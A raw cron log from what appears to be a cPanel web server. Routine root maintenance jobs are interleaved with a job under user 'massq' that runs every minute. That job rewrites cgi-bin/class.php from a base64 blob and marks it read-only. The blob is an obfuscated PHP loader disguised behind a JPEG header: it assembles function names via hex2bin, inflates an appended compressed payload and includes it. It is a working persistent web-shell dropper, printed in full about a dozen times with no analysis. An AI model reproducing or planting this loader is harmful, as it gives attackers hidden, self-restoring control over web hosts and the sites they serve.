Sep  6 08:49:01 server CROND[4653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:49:01 server CROND[4654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:50:01 server CROND[5066]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:50:01 server CROND[5068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:50:01 server CROND[5069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:50:01 server CROND[5072]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:50:01 server CROND[5073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:50:01 server CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:50:01 server CROND[5071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:50:01 server CROND[5070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:50:01 server CROND[5075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:51:02 server CROND[5994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:51:02 server CROND[5996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:51:02 server CROND[5995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:52:01 server CROND[6372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:52:01 server CROND[6371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:52:01 server CROND[6373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:53:01 server CROND[6767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:53:01 server CROND[6768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:53:01 server CROND[6769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:54:01 server CROND[7199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:54:01 server CROND[7200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:54:01 server CROND[7201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:55:01 server CROND[7600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:55:01 server CROND[7606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:55:01 server CROND[7608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:55:01 server CROND[7609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:55:01 server CROND[7610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:55:01 server CROND[7613]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:55:01 server CROND[7611]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:56:01 server CROND[8584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:56:01 server CROND[8585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:56:01 server CROND[8586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:57:01 server CROND[9025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:57:01 server CROND[9026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:57:01 server CROND[9024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:57:01 server CROND[9027]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:58:01 server CROND[9410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:58:01 server CROND[9411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:58:01 server CROND[9412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:59:01 server CROND[9866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:59:01 server CROND[9865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:59:01 server CROND[9867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:00:01 server CROND[10262]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:00:01 server CROND[10265]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 09:00:01 server CROND[10266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:00:01 server CROND[10275]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  6 09:00:01 server CROND[10277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:00:01 server CROND[10290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:00:01 server CROND[10287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
